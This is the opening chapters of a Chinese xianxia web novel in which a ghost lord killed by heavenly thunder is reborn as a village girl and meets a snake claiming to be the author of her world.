《就你有师兄?》
1. 旧时花落
涂华山,黑云遮天,万鬼呼啸。
一团黑雾过境,窜至山巅,凝为实体,化形为十岁左右的鬼童。
鬼童白眸无仁,仰头望天。
云上灵力翻涌,修者叫门:“容星阑!交出李蛮,饶你全尸!”
“李蛮!好你个天生的恶坯!屠尽紫庐村男女老少几十口人,作恶多端,罪孽深重!你以为躲到涂华山,就寻你不得了么?睁大你的狗眼看看,此乃何物?”
李蛮看清穹顶之物,霎时怨气暴涨,阴风肆虐,血丝瞬间爬满白眸。他如小兽受惊,理智全无,本能地就要直冲云霄。
一只毫无血色的素手自虚空中伸出,轻轻一拦。阴风起漪,虚空中缓缓踏出一只红鞋。
风停叶落。
“来寻我就来寻我,何至于拿幼童开刀。”
容星阑不疾不徐,乌金宽袖将李蛮轻轻一带,揽至身后。只抬指一挥,悬挂在天边的老者头颅幻象破开,化作符纸散去。
这才懒懒抬眼,环视一圈,轻笑:“呀,都是些老熟人。”
“大胆!尔等邪物,也配与我正道人士攀交情。今日云音山绝尘真人、昆吾山君辞剑君在此,岂敢放肆!”
云上众修似终于等来正主,皆是面色一松,却又暗自戒备。
浓云之上,分为两列。
列一黑影泱泱,在云上喊话者,正是其中一名白袍青冠的青年修士。
然而领头者却不是他,他的前方立着一位月霜般的女子。那女子一直未言,只作静观。她青丝垂顺,只着一身雾也似的白袍,身负一席玄色古琴。
古琴名为九霄,乃是三大上古神器之一。九霄之主,正是九州奉为神女的云音山绝尘真人,容玄蕴。
列二仅有一人。
那人腰间悬剑,也作一身霜白的素袍,目中无物,面似无情,一副寒冰做派。
此人正是九州剑道第一人,传闻中一剑霜寒万里,无情道一骑绝尘者,昆吾山君辞剑君。
两列联袂而至,若不是昆吾山不与其他仙家为营,容星阑还以为他们是约好的呢。
要真论起来,百年前,三人还有着一起堆泥巴的交情。
容星阑心笑:世事无常。
都是一个村的乡亲,别人做了正道仙子,到她却成了为祸一方的鬼君。
她抬眼望去,瞥眼掠视那一人独列的君辞剑君。
既修无情道,端的是大道无情,万物皆同。便是大慈大悲观世音菩萨,抑或是大奸大恶妖魔之辈,于他而言,与路边草木并无不同。
君辞也立于云上,是容星阑未曾想到的。
他何时也管起除却昆吾与剑道以外的事?
不过,管他来者是谁,容星阑丹唇微扬,全都——
杀无赦。
黄符一出,阴气凝为实针,朝着黑云之上的千军飞射刺去。霎时空中灵气翻滚,在浓云上撕出几道豁口,数名修者如山间坠鸟,跌落不知去处。
“容星阑。”
负琴的女子终于开口,其尊号绝尘,身姿出尘,就连声音,也含着一股似雪似月的清冽:“收回符纸,回头是岸。”
容星阑只笑。起初笑声清浅,越笑越烈,轻笑渐作猖笑,在云下山间回荡。
“回头?是岸?”
这是她做鬼以来听到过最大的笑话。
世人总道,放下屠刀,立地成佛。可若真放下屠刀,哪有什么立地成佛,有的只是引颈受戮,尔为刀俎,我为鱼肉。
“堂姐。”容星阑仰天长笑,“你怎的做了多年神女,反倒越活越回去了?”
“从何回头,何处是岸?”
“放肆!”
“区区万葬岗邪祟,也敢与绝尘真人以姊妹相称?”
白袍青冠的青年修士喝道:“还不赶紧收回黄符!”
此人在云上蹦跶不停以寻求存在感,上跳下窜似菜地里的青葱成精。
声音粗嘈,更惹人生厌。
容星阑成全他:“这么快就不想活了,看来是想早入黄泉,与我涂华山的万鬼做同僚啊。”
一符祭出,黄符瞬燃,符火湮灭间,化作千千万万道森然剑光。剑影翻飞,剑意纵横,顷刻成阵。白袍青冠修士被围困其中,脸色煞白。
符灰尽落,万剑齐指,无数道剑意对准剑阵中心之人,杀机垂落。
“啊——!”
那人惊叫连连,仅一息之间,在众修惊骇的目光下,凌迟至死。
“可惜。”容星阑慵声道,“我涂华山,不收丑鬼。”
“你!”
云上众修皆面色剧变,虽早闻涂华山鬼君威名,亦知晓其鬼符神通无穷。亲眼所见,方知竟是如此神通之法,恐渡劫之下,皆非敌手。
幸而在场众修,倒真有一位渡劫大能,虽不与他们同列,终究是正道修士,与他们是同道中人。众修又稍稍放下心来,只是再不敢多言,生怕自己是下一个剑符的亡魂,敢怒不敢言。
少了方才聒噪不停的修士,云上鸦雀无声。
容玄蕴手抚琴弦,沉眉冷声:“星阑,若再不回头,休怪我无情。”
不愧是正道天骄,此情此景,尚且沉静如常。若是旁人,容星阑也敬她一声君子,尊她正道风范,但容玄蕴怎敢、又有什么资格,同她这样说话。
容星阑冷笑:“堂姐,若不是你,我又如何能成一方鬼君呢?今日种种,还不是拜你所赐。”
众修不知所以,但污蔑谁也不可污蔑绝尘真人,惧怯之下,仍有人替她出声:“邪祟,休得胡言!”
登门无礼,屡屡冒犯。几番对话,容星阑已然耐心告罄。
李蛮的魂体本就不稳,此时在她身后已是强弩之末。
既如此,万符祭出,黄纸漫天。
云上一阵刀光剑影。
她那正道君子堂姐终于出手,琴音乍响,音刃如实,挟着杀意凌凌直直袭来。容星阑不动如山,从容地捻出一纸黄符。
黄符化风刃,部分抵消琴音,其余直冲容玄蕴面门。
又是一道琴音荡开,却有什么比琴音更快,一支竹箫倏然破空,一一击碎风刃,急转而去,落回来人手中。
桃木长簪挽乌发,面若明月眼如星。来者是云音山掌门大弟子,容玄蕴的师兄,兰逸。
这人总叫她想起一位故人,却远不如故人斐然如玉,叫容星阑见了,有种鱼目扮珠之感。
也不知容玄蕴为何眼光这般差劲,既见璞玉,却捡英石。
脚踩云莲,步步生花。兰逸不看众修,不看万鬼,不看容玄蕴。他的眼中只有容玄蕴一人,嗓音如玉如泉,温声道:“师妹,你前来讨伐妖邪,怎么不叫上我。”
言辞中情义深切缱绻:“黄符不吉,莫脏了你抚琴的手。”
好一场郎情妾意鸳鸯戏,容星阑抚掌大笑,笑声空灵清脆,给漫天阴风黄纸的涂华山更添几分诡谲阴森,轻嗤:“就凭你?”
兰逸高高在上,不应不答,只落步于容玄蕴身侧,似乎天地间只容得下、看得见眼前人。他伸手,替她拂去发间的黄页碎符。
何时她涂华山成了正道修士卿卿我我之地,容星阑怒火腾升。一气之下,不欲多言,只又祭出黄符。
黄符直袭云上清风霁月的二人,兰逸玉指一转,竹箫旋飞,打碎几张未来得及化出符印的黄符,这才施施然侧首低头,收回竹箫,吹箫化刃,击破漫天黄白符印。
容玄蕴静静立在云上,宛若一尊清冷无欲、不染尘埃的玉观音,此时才道了声:“师兄。”
她领了众修声讨涂华山,至今未正式出手,连话也不曾多说,只需立在那里,自有人替她赴汤蹈火,尤其是她那自诩玉君的师兄。
去他天爷老子的师兄。
容星阑抬手,万鬼受到召唤,怨气如江潮涌向她的指尖。她以指为笔,凝怨为墨,在虚空中勾画出一道极为繁复的阴符。
阴符成,符印出,容星阑勾出一抹快意的笑。
方才不过略施小计,已叫他们使出百般力气,这道阴符,也不知云上的恩爱鸳鸯受得受不得。
却在这一瞬,李蛮感受到了浓烈且伺机的杀意。
并非来自云上,也并非来自身前。
他警惕望天,云上似有雷吟。
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“鬼君……!”
李蛮声音喑哑,似乎被人割断了喉管般难听,微弱的声音被风卷走,这一声带了颤意的急唤没被容星阑听到。
容星阑已然飞窜出去。
乌金长袍在云上飞扬,一手怨气凝结的符印在空中骤然变大,向着云上众修排倒而去,所及之处,云散修亡,容玄蕴与兰逸急速后退。
自始至终一言不发的君辞在此刻拔剑。
在容星阑未注意之时,散去的云复又凝结,黑云压山,暗雷涌动。
轰隆——
一道几丈宽的紫雷落下,容星阑大惊失色,移步幻影,瞬间至几公里外。
轰——
又是一道紫雷劈下,这道雷比方才更为粗广,伴随着闪电噼啪,盖过大半山头。躲无可躲的李蛮冒了个烟,彻彻底底魂飞魄散。
雷劫早不来,晚不来,偏偏这个时候来。她修复了大半年的李蛮魂身,在紫雷下留存不过半息。
容星阑忍无可忍,强忍战栗与心惊,对天就骂:“孬物,只敢躲在云里搞偷袭,有本事直冲我来!”
正此时,那头一道寒冰腾空而起,以拔山之势朝她劈来,寒冰铺彻,容星阑缩土成寸,倏然朝身后退去。
这一退,正好退到紫雷落地处。
容星阑:“***!”
天雷本是阴邪的克星,一劈之下,纵万般神通,皆逃不过魂飞魄散的命运。
意识短暂弥留之际,剑光掠过,一道清隽的身影闪瞬过来,雷电顺剑而下,炸出一朵瑰丽的冰魄紫雷花。
寒冰彻骨间,意识坠入永夜。
……
“这算不算是一种反派死于话多啊?”
“别说,天雷还挺听话的。”
“见过躲技能的,没见过接技能的。”
“这下真是死得透透的了。”
“不是说好女主杀她为人间正道嘛,怎么是被天雷劈死的?难道女主对昔日凡尘世界的堂妹生出了一丝丝恻隐之心?”
“楼上脑子瓦特了,容玄蕴杀得了她第一次,怎么会不忍心杀第二次?”
“哎呀,不要那么认真,我们天雷怎么不算是女主的辅助呢,人头嘛,肯定是算到女主身上的。”
众说纷纭,似乎都是围绕着她被天雷劈死一事。
容星阑意识浮在一方无边无尽的白茫茫世界,世界中不时飘出一行又一行的文字,文字与文字之间并不独立割裂,似乎在隔空对话。
这些文字被标了数字,总共有258条,数字前注解:段评。
段评?
何为段评?
不对,容星阑后知后觉意识到,她的神识怎么还在?
那些段评似乎看不见她,一条接着一条。
“这下好了,剑道第一也死了,女主战斗力天花板稳了。好你个坏头蛇,写不来女主琴道进阶,直接把最强战力写死。”
“不许攻击作者大大!她这么写,一定有她的用意!”
什么意思?君辞也死了?
不愧是专门劈她的紫雷,带走一个就不算亏。可是这样一想,又觉可惜,怎么只劈了君辞一人?君辞与她无冤无仇,死了也不算畅快,反倒成就了容玄蕴九州正道战力第一的美名。
说起来,在君辞还不叫君辞、叫做陈辞的时候,容星阑与他还有着常年累月的米饭之恩呢。
不过世道中多的是恩将仇报,更有为利弑妹抛夫者,恩将仇报算得了什么。
容星阑的神识打量着眼前的世界,除了莫名的文字,只一片白茫,不像是幽冥地域。若人身死魂消,不是坠入无意识的虚空,反倒是困于这里,也算干净。
轰隆——
一道雷声落下。
容星阑为人十几载,为鬼数百载。为人时不知敬畏天地,为鬼时一纸阴符肆意妄为,一朝被雷劈,此时神识无法控制地颤栗。
魂飞魄散之痛,任谁体验过一次,定然连回忆都不想回忆了。
不过寻常人应当没有回忆的机会。
雷鸣贯耳,自四面八方轰隆,小小的神识躲无可躲,淹没在轰鸣声中。
2. 归故泥
轰隆——
将要入伏的天,已经滚了几道闷雷,豆大的雨噼里啪啦说下就下,妇人连忙进屋,给布置精巧却无处不透露着散漫的房间关上窗。
窗将大雨和雷鸣隔绝在外,屋内松香袅袅,是一种透着清朗的淡香,给室内添上几分人间烟火的安稳。
卧榻上的少女自梦中醒来,陡然惊坐。妇人回头,笑着走过去,给她倒了杯茶,一下又一下,轻柔地抚摸她被汗濡湿的后背。
“做噩梦了?”
容星阑无意识地接过茶水,小口小口地抿茶,似乎是许久不曾用嗓,一开口就破音,好半晌才回过神,似乎有些不确信,愣怔开口:“阿娘……?”
妇人只笑:“梦到什么了?和娘说说。”
容星阑润了润喉:“梦到打雷了。”
妇人刮了刮她的秀鼻:“哪里是梦到了,是真的打雷了。我们阿阑从小就怕打雷,没事啊,打雷就躲在屋里。”
容星阑总算彻底清醒,过往片段如走马观花,在她脑子里一段接着一段闪过,最后停留在涂华山紫雷轰顶。
忆起神魂被紫雷劈裂撕碎之痛,容星阑不由惶恐惊骇,然而更多的却是不甘与愤恨。
修士修炼已是逆天而行,修炼阴魂更是不为天道所容,是以她的雷劫比之修者更为可怖,雷电粗犷,且不在晋升后立即降下,而是挑准时机,趁人之危,势必要劈她个措手不及、魂飞魄散。
然修炼阴魂非她所愿,若能正常为人,谁想做一只荒山野鬼?
天道分明是欺人太甚。
她一掀被子,怒瞪上天,却只瞪到木制的横梁顶:“谁怕打雷了!”
轰隆——
容星阑条件反射地打了个哆嗦。
容星阑:“……”
妇人忍不住笑出声,将女儿抱了个满怀,笑着安慰道:“好好好,阿阑一点都不怕。”
……
“弟妹在家吗?”屋外有人喊。
“诶!”妇人应声,拢回掀落至到床外的软,一面往外走,一面对着容星阑道:“有事叫阿娘。”
掩好房门,妇人自檐下取了把伞,就去开院门。
容星阑一咕噜爬起来,掀开一条窗缝向外看,果然,来的正是她的大伯。
还未来得及回味活着的欣喜,就见到害她家破人亡的罪魁祸首,容星阑目光微沉,抬手凝符,指尖轻盈无物。
又凝一次,无事发生。
容星阑:“……”
做鬼太久,险些忘了《万象符》是只能被死魂炼画的阴符。对生者而言,就跟随手乱画的鬼画符差不多——毫无章法,且无用。
容星阑只好暂时压下心中怒火,自我告慰不急于一时。
她坐回床上,看着因过去太久而陌生的闺房,一时间有些无所适从。
她竟然又又没死。
阴魂被天雷劈了个正着,怎么可能不消散。难道她曾经的认知都是假的?其实魂飞魄散后不是神识的消亡,而是重入轮回?
她侧首看向铜镜,镜中的少女面容白净,气血丰盈,正是豆蔻年华的自己。
入轮回也不应该是这样。
她分明是回到了过去,回到父母未出急镖、将她托付于大伯,回到自己还未死于堂姐簪下之时。
只是,现下是何年何月?
容星阑打开房门,正巧天际又是一声雷吟,惊颤一下,勉力抬头,看向乌云天。
吱呀——
隔壁院子的竹窗从内向外支开,身着粗布短衫的少年郎站在窗前,他目若沉潭,也抬头看天,似乎在想雷雨究竟何时停。
容星阑循着动静看去,又是一个愣怔。
是君辞。
君辞现在还不叫君辞,叫陈辞。
凡尘之人注重姓氏,修者无所顾忌,但入修途后,改名之人众多,改姓之人极少。
是以上一世容星阑以鬼君身份第一次见到君辞时内心大为震惊,她万万没想到君辞竟是陈辞,不过震惊之余,又觉理应如此。
这便要从多年前在郝牛村歇脚的道士说起。
多年前,一名老道路过郝牛村,他观山、观水、观星象,神色一疑,掐指一算,直言郝牛村是个风水宝地,将来要出三个英才。
道士所言不虚,郝牛村确实出了英才,彼时已知被扶苍山大器师看上的亲传弟子郝一为英才之一,入云音山修琴道的容玄蕴为英才之二,见到陈辞,方知他是英才之三。
思及此,容星阑冷哼一声,这道士虽有先知之能,却还是算差了一招。
郝牛村不止出了三个英才,还出了一个败类:为祸一方的涂华山鬼君,容星阑是也。
正想着,盯着陈辞出了神,窗内少年面容深静无澜,察觉到她的目光,也看过来。
冷不丁地,容星阑和他对视。
静默无言。
眼前的少年面容冷寂,许是因为尚未入无情道,未习剑术的缘故,冷寂中又多了一分年少的青涩,不似记忆中那么凌厉。
看到少年陈辞,容星阑不由回想,过去的自己是什么样的?她有些忘了。
这一回想,却又似云开雾散般清晰起来,似乎从来不曾忘却。
她容星阑,父擅武,母能文,父慈母爱,虽不抵县衙里的千金小姐,但也算是郝牛村内条件顶好的村丫。
靠着有位功夫尚可的爹,在村里不说横着走,起码无人在她面前找茬。
是以在她短短十五年的光阴里,硬是没收到过一丁点恶意,丝毫未察人心险恶,是个地地道道的村霸兼傻白甜。
傻白甜应该有傻白甜的样,容星阑和他对视半晌,忽而扬起一个笑:“阿辞哥哥。”
陈辞不知在想什么,定定看了她好一会儿,才淡淡嗯了声,以作回应。
容星阑反思:……就不该太给他脸。
夏天的雨来得急,去的也快。就这一两句话的功夫,雨势渐小,陈辞的身影消失在屋内,片刻后从正门出来,头戴竹斗笠,从屋侧牵了头不足岁的黑牛出来。
看到黑牛,容星阑心下一凛:竟是这年。
正是这年年底,腊月天,大暴雪,父母出镖未归,堂姐以送狐毛的名义进了屋,长簪在手,刺入她的心脉。
也是这年,陈辞攒够了银钱,买了头未足岁的黑牛。
容星阑父亲靠着好身手在镇上做镖局生意,养活一家子人绰绰有余,不必去田间务农。她家别说黑牛,连鸡鸭都无。
因着这缘故,陈辞牵牛回来的那两天,她趁无人注意总溜进他家,时不时稀罕一会儿。
见了小黑牛,鬼使神差地,容星阑问:“你带牛干什么去?”
陈辞回头淡淡看了她一眼,背上背篓,牵着黑牛出院门:“牛吃草,我收玉米。”
容星阑也想跟去,在乡间的日子是快活的。然而顾念着大伯还在堂屋不知和阿娘说些什么,只好道了声:“哦。”
又觉回答地干巴了些,接了句:“那你快去吧,小心路滑。”
陈辞一走,容星阑回屋,不知道该做些什么。
如今陡然重新为人,一时无措,静下心来,她细细环视自己的闺房。
木构的屋舍,是阿爹亲自搭砌的,窗棂梁柱皆是素木本色。窗下摆放着一张小几,放着几只大大小小的陶盆,盆中碧叶层叠,藤蔓顺着木架攀援。各色绿植或悬挂于梁,或摆置各处。
容星阑一处处抚摸着屋内摆设,就在绿植堆叠中,一处木几上干干净净,上置脂粉罗盒,她坐下来,开始捣鼓自己的妆奁。
妆奁中大大小小的钗簪,一些是爹娘买的,一些是自己买的,还有几支——是郝一买的。
她顺手拿起一支镶珠蝶钗,拿的时候只觉手中滑溜溜、冰凉凉,不似金银质地,便将钗身一翻。
这一翻,叫她看清簪下之物,方才闲静下来的心瞬间提到嗓子眼,猛地将蝶钗飞甩出去,忍不住短声惊叫:“啊!”
是一条细细小小只几寸长的紫蛇。
“啊!”那蛇也跟着尖叫。
“阿阑,发生了何事?”不远处堂屋内妇人听到动静,询声问道。
慌忙间,容星阑双手捂嘴,被甩出去的小蛇还在尖叫,她只好强忍恐惧,跑过去一把抓住在地上胡乱甩晃的蛇,匆忙之中顾不得其他,两指一夹,捏紧紫蛇的血盆小口。
“没事!绊了一下。”
“仔细些走路。”妇人的声音从堂屋传来。容星阑屏气立耳,没听到脚步声,松下一口气。
怪力乱神之事,还是不要让阿娘知道的好,免得她操心。
紫蛇在她手中扭来扭去,容星阑汗毛竖立,却不敢松手,生怕此蛇又叫。
她捏着蛇嘴,准备将它丢出去。
要说这世间有何物是容星阑刻在骨子里怕的,其一是雷,其二便是蛇。
喜好是娘胎里带来的,无缘无故,容星阑就是怕蛇。从前见了蛇,都要连做三天噩梦,似乎蛇天生与她犯冲。
不过还歹做了数百年鬼君,什么妖魔鬼怪没见过,即便是怕,也没有从前那般怕,只是看到就觉恶心非常、忍不住浑身发汗。
她铆足力气将紫蛇向外一丢,才感觉好了些,嫌恶地连捏着蛇头的手指都不想要了
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“慢着!”似乎唯恐容星阑走远了,那蛇又急忙叫一句,“等会儿!”
容星阑猛然回头:那紫蛇果然是妖物!
她记得家中还挂了把爷爷留下的桃木剑,就在堂屋,提裙就向堂屋跑去,完全没注意到紫蛇一个弹射粘到她后背的衣裙上。
刚踏进堂屋,就听背后一道女声颤音连连:“你跑慢点啊啊啊!我要巅下去了!”
容星阑抬脚进屋的动作一顿,回头,紫蛇正趴在肩头吐着信子。
“啊!!!!!”
“啊!!!”
堂屋内,妇人和年岁较大的男子话音一停,纷纷侧头看来。妇人反应迅速,虽不知容星阑怎么了,连忙起身上前,问道:“阿阑莫慌,发生了何事?”
容星阑伸手向后背胡乱一捞,将紫蛇捞在手中,紧紧捏住蛇头,桃木剑也不拿了,转身向外跑去:“没事阿娘,我还有事先走一步!”
妇人看着她跑远的背影,眉眼中难掩忧色,喃喃:“今天这孩子怎么了。”
男子叫容星阑一打岔,被人交代好的措辞在一惊之下忘了,默了默,慈声道:“星阑这孩子,都快嫁人了,还咋咋呼呼,孩童心性。”
一时半会想不起来,容成就着走镖的事继续谈:“弟妹,此镖在三月启程,星阑和郝一俩孩子二月完婚,既不耽误,定金又丰厚,还能给星阑多添一份嫁妆。”
妇人并未答应下来,只笑道:“大哥,镖局的事本就是阿晏在管,我一介妇人,说了不算,待阿晏回来,再作打算罢。”
……
容星阑在田间小路上走着,方才一时冲动跑了出来,此刻已有些后悔。雨虽停了,云未散去,云层中仍可见电光,不知何时就会响起闷雷。
紫蛇在她手中不住地扭动,似乎想挣脱。
雷雨天,手中蛇。
一天之中,她毕生所厌之物齐全了。
四周皆是田野和水塘,容星阑找了半天,未见一棵大树,张望中看到路旁的矮桃树田,管不了那么多,躲到桃树下蹲着。
未加持的桃木无用,她是来这里躲雷的。
背靠桃树,这才渐渐松开紫蛇,对着它小声喝道:“你是何方妖孽!”
手指一松开,紫蛇立刻嘤嘤不停,试图从魔爪窜逃,容星阑早察觉它的动机,两指一捏:“别耍花样,如实交代!”
又恐威慑力不够,补上一句:“若耍花样,小心我扭断你的脑袋!”
见紫蛇总算老实了,这才缓缓松手:“说吧,你来我家,是何居心?”
紫蛇抽搭两声,见这凶煞般的少女又要捏她脖子,语速飞快道:“我不是妖孽!我是坏头蛇!我是此间世界的造物者!话本子,话本子你知道吧?你所在的世界其实是我写的话本子中的世界!你若不信……”
听紫蛇一连串脱口而出的话,一个使劲,指间使力,捏住蛇头,没说话。
她在思考。
半顷,思考出结果,容星阑问道:“女主是容玄蕴的话本子?”
紫蛇见她面色平静,应是信了它的话,想来定是被它造物主的身份镇住,摇头晃尾地显摆起来:“没错,你知道啊?诶不对,你怎么知道?不管了,十年前我写了一本名为《情道?琴道。》的小说。”
“在我笔下,女主容玄蕴从一介村民,一步步走向绝尘神君之路,神挡杀神,佛挡杀佛。当然了!鬼挡杀鬼。哼哼,凡尘俗世,蓝颜知己,都不过是女主勘破凡尘与情劫、飞升成神的垫脚石罢了……”
紫蛇说出自己最为得心的两个情节:“为了得道,妹可弑、夫可抛,怎么样,是不是非常杀伐果断、魄力惊人,很有武王为权弑儿的大女主之风……”
还未讲完,紫蛇七寸一紧,蛇心一个咯噔,不觉抬眼看去。
“如此。”
少女分明面色平静,双目无波,它却觉得平静的面庞下似乎暗藏杀意,就听她淡声道:“那你去死吧。”
七寸处一阵钝痛,蛇身一软,暗呼小命休矣!
修真世界比想象中还要危机四伏,这少女不知是谁,生得桃面喜人,手段却如此恶劣,也不知哪句话得罪了她,还是她就认定了它是妖孽,分明就要置蛇死地。
就听身后窸窸窣窣,桃林中钻出一头未成年的黑牛,个头不大,目光憨润。它见了容星阑,便如家犬见了喜爱的人友,潮湿的牛鼻拱上来,容星阑松了力。
七寸陡然一松,紫蛇死后余生,大口大口呼吸。
头戴斗笠,背着满篓青叶玉米的少年见到桃树下的人,一愣,道:“容星阑,你蹲在这里做什么?”
3. 郝牛村内
容星阑静静看了紫蛇一息,收敛目光,捏着紫蛇的手藏进袖里,这才伸出另一只手抚上小黑牛宽厚的牛鼻骨,回头看向陈辞,不答只道:“阿辞哥哥,这么快就收好了呀。”
陈辞走到她身边:“嗯,又要下雨了。”
似乎是为了印证他的话,云中即刻响起一道沉重的闷雷,容星阑叫此雷一吓,炸毛似地抱住陈辞大腿,心跳如擂,警觉望天。
陈辞被她一抱,走也走不得,只好垂眼看去。少女受了惊,惊骇又倔强的杏眼死死盯着乌云,手箍得生紧。随即一道炸雷,那双眼便再也不敢看天,整张脸紧紧埋在大腿上。
陈辞:“……”
陈辞:“松手。”
天上的雷故意戏耍她一般,一声接着一声,连绵不停,容星阑不松,也不答,装死。
紫蛇被她闷在手里,近乎晕了过去。
陈辞:“方圆十里,就此地有树。雷专劈树,你若不走……”
还未说完,少女的手抱得更紧了些。
陈辞看着大腿上被雨雾沾湿而显得碎毛茸茸的发顶,静默半晌,极轻地叹了口气。
容星阑感觉到陈辞动了动,犹豫着要不要松手,又害怕一松手此人就走开,只留她一人在雷云下寸步不敢行。
正犹豫着,头上陡然一重,她稍微卸了点力,额间一凉,冰凉粗粝却又柔软的指腹在她额上一点。
陈辞伸出一根手指将她额头轻轻向外推了推,却不是推开她。
他背着满篓玉米,不能弯腰,只微微倾了倾上半身,给她戴好竹斗笠,竹笠下挂着麻绳,五指翻飞间,系了个酢浆草结。
目光始终冷寂、专注、毫无波澜。
容星阑看着他深寂冷漠的眼,想:不愧是修无情道的人,这会儿年少,已然可见日后霜寒之影。
那双眼随着绳带系好,缓缓向上,直直对上容星阑探寻的目光。
“走吧。”那双眼的主人道,“戴了斗笠,雷不会劈你。”
……
郝牛村之所以叫郝牛村,原因有二。此为南方水乡,水牛众多,务农的村民家家户户养牛,是为好牛。
又因郝乃此村之大姓,村长也姓郝,郝家世世代代聚居于此。
容星阑跟着陈辞回到家,正好见到郝一在院门前,手中提篮,作势正要扣门。
他还穿着镇上书院的素衣,似是才从书院回来。
远远见了他们,郝一温和清润的脸上浮现春风般的笑意,待二人走近了,开口道:“阿阑。”
多年未见,再见之时,她仍免不得叹一句:陌上人如玉,公子世无双。
都说云音山兰逸道君最是温润,要她说,比之眼前的郝一,不过是精琢之石。
便是一身最简单的粗布素衣,也穿出一股文质的秀气,自带璞玉般浑然天成的温和与雅致。
这是她自小定下婚约的未婚夫君,郝牛村里正之子。
也是在容星阑身死之后,转身娶了她的堂姐的人。
再见郝一,心中那盛平静的湖拂过一阵极轻的风,那风荡起一圈浅浅的涟漪,而后风过湖平,再无波痕。
容星阑坦然微笑,轻快地唤了声:“郝哥哥。”
郝牛上前接她,看向陈辞,道:“阿辞也在。”
陈辞到自家院门口,就不再向前走了,只冲他微微颔首:“郝一哥。”
回完话,自顾自打开院门,牵着黑牛进院。小黑牛摇头晃脑不肯走,眷恋不舍地蹭了蹭容星阑的衣袖,郝一温声笑道:“此牛颇具灵性,很亲近阿阑。”
容星阑亦舍不得小黑牛,见黑牛如大犬般蹭昵,忍俊不禁地伸出手来摸它。
这一摸,黑牛牛耳扑闪,牛尾轻甩,似是听懂人在夸它,发出了长“嗯”般的眸声,直引得容星阑眉欢眼笑,郝一站在她身旁,眉眼中也流露出清浅柔润的笑意。
二人并肩而立,村中潮雾蒙蒙,似在二人一牛上镀了一层薄薄的浅光。陈辞在自家院门处静静候着,黑牛迟迟不归,他便也站在那里一动不动地看着,直至云中又落一道闷雷,一滴雨兀然落下。
雷声激得容星阑一个激灵,恍觉自己还带着郝一的斗笠,麻利地摘下来:“阿辞哥哥!”
她小跑过去:“你的斗笠。”
说罢同黑牛摆摆手,毫无留恋、脚步飞快地钻进自家院子里,回到檐下才招呼郝一:“郝哥哥,来屋里坐。”
小黑牛见人友忽然间跑远了,失落地甩了甩尾巴,慢步跟着主人回到院内。
两间院门合上,又是一阵急雨。
……
雨中,郝牛村内的一条田间小路上,一位青年男子撑伞走着。
前方有一座荒屋,路过的村民时不时会在里面避暑或是躲雨。雨措不及防地大了,容成快步向前,一个步子扎进荒屋中。
屋内还有一人。
那人白袍素衣,气势凌人。未戴帷帽,面上却似遮了一层云雾,自此人找上容成,容成从未见过云雾之后的面容。
只知是一位年轻男子。
荒屋中多处漏雨,那男子却立于漏顶之下,大雨落下,却纷纷避开男子,他周身似乎有着一层看不见的屏障。
容成知道,这是修者之法。
他恭声道:“仙长。”
男子问他:“那妇人答应了吗?”
容成额上冒汗,道:“并未……”
男子冷声道:“你按我教你的说辞,她不该不应。”
容成忙道:“仙长,此事……”
男子不欲听他辩解,打断道:“罢了,你只管将大妖照顾好,务必获取她的信任。待容晏回来了,我自有法子叫他应下。”
容成躬身:“是。”
……
“今日休沐,见路边有老媪卖樱桃,就带了一篮。”郝一将竹篮放在堂屋桌上,容星阑左右张望,大伯容成已经回去了,阿娘也不知去了何处。
她心不在焉地拈起一颗樱桃,向下瞥去。盛装樱桃的篮子纹路神妙,不似寻常竹篮,似乎藏着什么玄机。
容星阑从前见过,这是郝一自己制作的变形竹篮。上提为篮,下翻为盘,很是精妙。
彼时年幼,全然不知郝一日后会是名扬九州的大器师,现下回头一想,原来炼器的天赋早现端倪。
郝一默默地看着吃樱桃的容星阑,他心思敏锐细腻,一早察觉今日的她有些不同。
往日星阑见了他,早扑了上来,口上郝哥哥不停,目光却只在他手中流转,要看他又带了什么新鲜东西。
可今日星阑十分文静,还有种淡淡的、说不清道不明的疏离。
何况——
郝一看向紧邻容家的那间小院。
星阑何时叫过陈辞“阿辞哥哥”,从来都只有陈辞、陈阿辞这样叫着,他们虽近邻,却不亲。
见她一直低头不语,兴致缺缺的样子,郝一从袖兜中掏出一个精巧的木盒。他打开木盒,在桌上递放过去,自己斟了杯茶。
“上次送你的蝶钗钗心是蚌珠,这对是我用海珠自己做的,技艺不佳,你看看,可还喜欢。”
蝶羽不知由何物染就,泛着紫粉色的青光,视线变换下,色彩不一。钗心镶着一颗紫色海珠,圆润无暇,色泽明亮,无一不显少年的用心。
容星阑敛睫收下,旋即绽出一个甜笑:“若是郝哥哥做的都不够精细,那天下之物再也没有精巧可言了。”
郝一见她笑了,也跟着笑:“阿阑喜欢就好。”
屋外大雨磅礴,一时半会儿走不了,他拉凳坐下,闲聊道:“容叔出镖还未归吗?”
容星阑摇头,一手撑脸看天,一手吃着樱桃,袖子里滑溜溜冰凉凉的触感传来,估摸着紫蛇应当醒了,敷衍答道:“不知呢。”
郝一又问:“近日入伏,可有害暑气?待天晴了,我带你去青云峰游船歇凉。”
容星阑不吃樱桃了,她垂下袖,捏住准备从袖口逃窜的紫蛇,一边答:“好啊。”
郝一还挂着温和的笑,话题一转,只道:“你与阿辞关系似乎比之前好了些。”
容星阑瞪着圆圆的杏眼看他:“何以见得?”
郝一宽声轻笑,摇了摇头,却不再言,只继续斟茶喝水,藏住眸中所思。
大雨倾盆,雷电似乎终于歇了鼓,昏濛濛的路上又来一人。
那人头戴斗笠,身披蓑衣,身姿纤细高挑,比容星阑高
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出半个头。
她手中也提了一篮子,盖着布,看不清是何物。在泥路洼坑里深深浅浅走着,步伐有些踉跄,似乎总被泥潭绊住脚步,却始终一步一步向前缓行,身姿挺立似竹。远远看去,可见其由内而外的韧劲。
终于,那人来到容家院门前。
原本安静的紫蛇忽然发了疯似的扭动蛇身,似乎是被拐带的孩子终于觅到了亲娘,若是容星阑松一丁点力,那蛇定然瞬间溜走,大声咆叫起来。
来者正是容星阑的堂姐,容玄蕴。
院门响起轻叩声,隐在雨里,不仔细听,还以为是雨滴落木板的声音,不易察觉。
“星阑。”门外少女声音清冷,唤道:“阿爹差我送一篮子鸡蛋。”
容星阑未起身,不知听到还是没听到,亦或是听到了却不想理会。
郝一隐隐知晓星阑不喜容玄蕴,大雨瓢泼,只好起身撑伞前去开门,将容玄蕴带到堂屋,递给她一杯热茶。动作始终有礼,谦和道:“玄蕴来了。”
“怎么不等雨小点再送,淋湿了总归不好。”
容玄蕴淡声道:“无妨。”
见容星阑始终不言,郝一替她道:“有劳玄蕴。”
